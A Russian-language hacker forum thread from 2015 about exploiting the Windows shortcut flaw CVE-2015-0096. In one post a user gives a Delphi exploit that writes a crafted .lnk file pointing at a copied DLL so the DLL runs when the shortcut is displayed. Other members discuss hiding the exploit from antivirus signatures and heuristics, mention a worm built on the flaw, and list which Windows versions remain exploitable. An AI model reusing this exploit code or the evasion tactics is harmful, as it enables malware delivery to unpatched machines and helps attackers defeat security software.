Уязвимость ярлыков CVE-2015-0096
| |
alexeybar2008 | Дата: Воскресенье, 29.03.2015, 12:36 | Сообщение # 1 |
Новичок
Зарегистрирован: 29.03.2015
Группа: Пользователи
Сообщений: 3
Статус: Offline
| Кто понял как использовать уязвимость обработки ярлыков CVE-2015-0096? Это не до конца исправленная уязвимость CVE 2010-2658, известная со времен Stuxnet-a
Ссылки по CVE-2015-0096:
1337day.com/exploits/23383 http://h30499.www3.hp.com/t5....3PmsVfA
Лично у меня код main в DLL никак не запускается (тестировал даже на старой системе до исправления CVE 2010-2658)
|
|
| |
xXxSh@dowxXx | Дата: Воскресенье, 29.03.2015, 15:14 | Сообщение # 2 |
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
| вот ТУТ эксплоит новый есть, может быть поможет, если что то получится, дай знать в ПМ, сам лично еще не проверял код сплоита, но тоже интересно было бы плюзать у себя на машине...
|
|
| |
alexeybar2008 | Дата: Воскресенье, 29.03.2015, 19:54 | Сообщение # 3 |
Новичок
Зарегистрирован: 29.03.2015
Группа: Пользователи
Сообщений: 3
Статус: Offline
| Я видел этот эксплоит, может конечно напутал с длиной exploit_dll_filename, но адаптация под Delphi не заработала:( Тестировал правда в корне диска своей машины, а не на папке в локалке. Код Const // LinkHeader link_header : Array [0..75] of Byte = ($4c, $00, $00, $00, $01, $14, $02, $00, $00, $00, $00, $00, $c0, $00, $00, $00, $00, $00, $00, $46, $ff, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00);
// Path path_0 : Array [0..21] of Byte = ($00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $6a, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00);
// LinkTargetIDList idlist_data : Array [0..39] of Byte = ($14, $00, $1f, $00, $e0, $4f, $d0, $20, $ea, $3a, $69, $10, $a2, $d8, $08, $00, $2b, $30, $30, $9d, $14, $00, $2e, $1e, $20, $20, $ec, $21, $ea, $3a, $69, $10, $a2, $dd, $08, $00, $2b, $30, $30, $9d);
// ExtraData blocks (none) & Patch in the LinkFlags extdata_linkflags : Array [0..7] of Byte = ($03, $00, $00, $00, $81, $00, $00, $00);
function rand_text_alpha(random_length:Integer):String; Var i:integer; Begin Randomize(); Result:=''; For i:=1 to random_length do Result:=Result+chr($41+random(25)); end; // path - directory for installing exploit // lnk_name - name of *.lnk file on path // dll_name - full name of dll file function CreateShellLNK(path:String; lnk_name:String; dll_name:String):Integer; Var LinkHandle: Integer; i,random_length :integer; exploit_dll_name:string; IDListSize, path_len:Word; ZeroByte:byte; Begin ZeroByte:=0; random_length:=257-Length(IncludeTrailingBackslash(path))-Length(ExtractFileName(dll_name)); exploit_dll_name:=IncludeTrailingBackslash(path)+rand_text_alpha(random_length)+ExtractFileName(dll_name); if not fileexists(dll_name) then Begin result:=1; exit; end; CopyFile(PChar(dll_name),PChar(exploit_dll_name),true);
LinkHandle:= FileCreate(IncludeTrailingBackslash(path)+lnk_name, fmOpenWrite); if (LinkHandle=0) then Begin result:=2; exit; end;
FileWrite(LinkHandle, link_header, sizeof(link_header));
IDListSize:=sizeof(idlist_data)+sizeof(path_0)+2*Length(Path)+4; FileWrite(LinkHandle, IDListSize, 2); FileWrite(LinkHandle, idlist_data, sizeof(idlist_data));
path_len:=sizeof(path_0)+2*Length(exploit_dll_name)+2; FileWrite(LinkHandle, path_len, 2); FileWrite(LinkHandle, path_0, sizeof(path_0)); for i:=1 to Length(exploit_dll_name) do begin FileWrite(LinkHandle, exploit_dll_name[i], 1); FileWrite(LinkHandle, ZeroByte, 1); end; FileWrite(LinkHandle, ZeroByte, 1); FileWrite(LinkHandle, ZeroByte, 1);
FileWrite(LinkHandle, extdata_linkflags, sizeof(extdata_linkflags)); FileClose(LinkHandle); result:=0; end;
а у кого-нибудь работает старая уязвимость Stuxnet-а? Пример кода создания ярлыка: http://delfcode.ru/forum/10-336-1
|
|
| |
xXxSh@dowxXx | Дата: Понедельник, 30.03.2015, 16:15 | Сообщение # 4 |
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
| старая вряд ли будет работать, ведь уже давно заплатки автоматом у всех установились!
по поводу новой пока ничего сказать не могу, нету времени протестировать у себя.
|
|
| |
Anton93 | Дата: Пятница, 03.04.2015, 20:14 | Сообщение # 5 |
Продвинутый
Зарегистрирован: 06.01.2010
Группа: Модераторы
Сообщений: 320
Статус: Offline
| практического смысла в ней уже нет. она сигнатурно ловится даже самым говеным антивирусом. последний раз я тестировал результат был 34 из 35 ав ее определили. более того скажу, что ни червя, ни дроппера на ней уже нормально не сделать. по мимо ав еще заплатки мешают. писал пару лет назад, для теста, червя, эксплуатирующего эту уязвимость, для одного объекта, где не ставились обновления. касперский, который там стоял, присек на корню эпидемию. через свой драйвер-фильтр файловой системы, они даже инициализироваться не успели, не смотря на то, что система была уязвима
ICQ: 41896
|
|
| |
xXxSh@dowxXx | Дата: Воскресенье, 05.04.2015, 14:51 | Сообщение # 6 |
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
| Цитата Anton93 ( ) она сигнатурно ловится даже самым говеным антивирусом а шаманить в рукопашную не пробовал? через HEX и дебагеры, дабы убрать сигнатуру конкретного АВ (от всех сразу не спрячешь конечно, но в большинстве лучаев помогает).
|
|
| |
Anton93 | Дата: Воскресенье, 05.04.2015, 15:23 | Сообщение # 7 |
Продвинутый
Зарегистрирован: 06.01.2010
Группа: Модераторы
Сообщений: 320
Статус: Offline
| xXxSh@dowxXx, тогда он GEN пишет. эвристика видит что я пытаюсь инициализировать dll известным нестандартным способом, а именно отобразить иконку. в этот момент и происходит эксплуатация. т.к. у dll по определению не может быть mainicon'a
ICQ: 41896
|
|
| |
xXxSh@dowxXx | Дата: Воскресенье, 05.04.2015, 17:30 | Сообщение # 8 |
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
| Цитата Anton93 ( ) тогда он GEN пишет. эвристика видит что я пытаюсь инициализировать dll известным нестандартным способом, а именно отобразить иконку. в этот момент и происходит эксплуатация. т.к. у dll по определению не может быть mainicon'a согласен, эвристика это уже дело другое, а как на счет твоих старых наработок по обходу эвристического анализа ?
|
|
| |
alexeybar2008 | Дата: Четверг, 07.05.2015, 23:17 | Сообщение # 9 |
Новичок
Зарегистрирован: 29.03.2015
Группа: Пользователи
Сообщений: 3
Статус: Offline
| Вопрос то был просто работает ли это и кто как понял суть этой незакрытой дыры CVE-2015-0096...
|
|
| |
xXxSh@dowxXx | Дата: Четверг, 07.05.2015, 23:30 | Сообщение # 10 |
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
| Цитата alexeybar2008 ( ) Вопрос то был просто работает ли это и кто как понял суть этой незакрытой дыры CVE-2015-0096
- на Win8 \ Win10 (с автообновлением) - скорее всего не работает точно так же как и на Win7!
- на Win7 (с автообновлением) - уже не работает!
- на Win Vista (с автообновлением) - не знаю, ничего сказать не могу.
- на Win XP SP3 (с автообновлением) - должно работать, сам лично не проверял, уязвимость новее чем конец поддержки данной версии ОС Windows - это логично!
Если я правильно понимаю суть её была точно такая же как и в первом её виде от 2010 года, запуск кода из нашей DLL путем эксплуатации баги в обработке files.ink
|
|
| |
d4rkzy | Дата: Пятница, 08.05.2015, 13:19 | Сообщение # 11 |
Постоянный
Зарегистрирован: 15.11.2013
Группа: Пользователи
Сообщений: 135
Статус: Offline
| Цитата на Win7 (с автообновлением) - уже не работает! Про вин7/XP - Microsoft все еще их поддерживает, выпиливает какие-то обновления или уже все?
|
|
| |
xXxSh@dowxXx | Дата: Пятница, 08.05.2015, 19:10 | Сообщение # 12 |
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
| Цитата d4rkzy ( ) Про вин7/XP - Microsoft все еще их поддерживает, выпиливает какие-то обновления или уже все? Win7 поддерживается!
WinXP обновления как я понял только для каких то коммерческих версий, обычные пользовательские версии уже не поддерживаются!
|
|
| |
|